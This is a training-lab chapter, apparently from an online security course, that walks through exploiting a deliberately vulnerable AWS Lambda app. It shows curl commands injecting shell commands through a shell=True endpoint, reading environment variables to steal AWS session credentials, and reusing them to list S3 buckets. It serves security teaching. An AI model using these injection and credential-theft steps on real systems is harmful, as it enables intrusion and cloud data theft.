Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Lab: Command Injection and Credential Theft

OWASP Serverless Top 10: SLS-1 (Injection), SLS-5 (Broken Access Control), SLS-6 (Security Misconfiguration)

Objective

Execute arbitrary OS commands on the Lambda function, steal AWS credentials from the environment, and use them to access other AWS services.

Real-World Parallel

The Capital One breach (2019) involved credential theft from a cloud instance. One vulnerability — server-side request forgery combined with overpermissive IAM — led to 100 million customer records exposed. The same pattern applies here: one injection vulnerability plus a wide-open IAM role gives the attacker access to everything.

Why This App is Vulnerable

The /date endpoint passes user input directly to a shell:

cmd = request.args.get('exec')
subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)

shell=True tells Python to execute the string in a system shell. The application does not validate or restrict what commands can be run.

On top of that, the Lambda function’s IAM role grants s3:* on Resource: "*" — full access to every S3 bucket in the AWS account.

Steps

Before you start: make sure you are in the project directory.

cd /workspaces/very-vulnerable-serverless
source ~/.lab-env

1. Confirm command execution

curl "$ENDPOINT/date?exec=id"

Expected output:

{"output":"uid=993(sbx_user1051) gid=990 groups=990\n"}

You are running commands as the Lambda sandbox user.

2. Explore the Lambda filesystem

curl "$ENDPOINT/date?exec=ls+-la"

You see the Lambda function’s files: app.py, requirements.txt, templates/, and the WSGI handler.

3. Read the application source code

curl "$ENDPOINT/date?exec=cat+app.py"

You can read the full source code, including the hardcoded Flask secret key: ThisisSuperFlagBySecurityDojo. This is SLS-2 (Broken Authentication) — secrets should never be hardcoded.

4. Steal AWS credentials

curl "$ENDPOINT/date?exec=printenv"

In the output, find these three values:

AWS_ACCESS_KEY_ID=ASIA...
AWS_SECRET_ACCESS_KEY=...
AWS_SESSION_TOKEN=IQoJb3...

You also see VARIABLE_1=supersecret99 — an application secret stored as a plaintext environment variable, visible to anyone with command execution.

5. Use the stolen credentials

In your Codespace terminal, export the credentials from step 4:

export AWS_ACCESS_KEY_ID=ASIA...   # copy from step 4 output
export AWS_SECRET_ACCESS_KEY=...   # copy from step 4 output
export AWS_SESSION_TOKEN=IQoJ...   # copy from step 4 output

Verify you are now authenticated as the Lambda function’s IAM role:

aws sts get-caller-identity

Expected output:

{
    "UserId": "AROA...:very-vulnerable-serverless-dev-app",
    "Account": "523561755519",
    "Arn": "arn:aws:sts::523561755519:assumed-role/very-vulnerable-serverless-dev-..."
}

6. Enumerate S3 buckets

aws s3 ls

The IAM role has s3:* on *. You can list every bucket in the account, read their contents, upload files, and delete objects.

7. Clean up stolen credentials

After the lab, unset the environment variables so they do not interfere with your own AWS CLI:

unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN

What Happened

shell=True with unsanitized user input gave us arbitrary command execution on the Lambda function. From there, AWS credentials were one printenv away — Lambda stores IAM credentials in environment variables by design. The overpermissive IAM role (s3:* on *) turned a single injection vulnerability into full access to every S3 bucket in the account.

This is how real cloud breaches chain together: injection → credential theft → lateral movement.


Next step: SSRF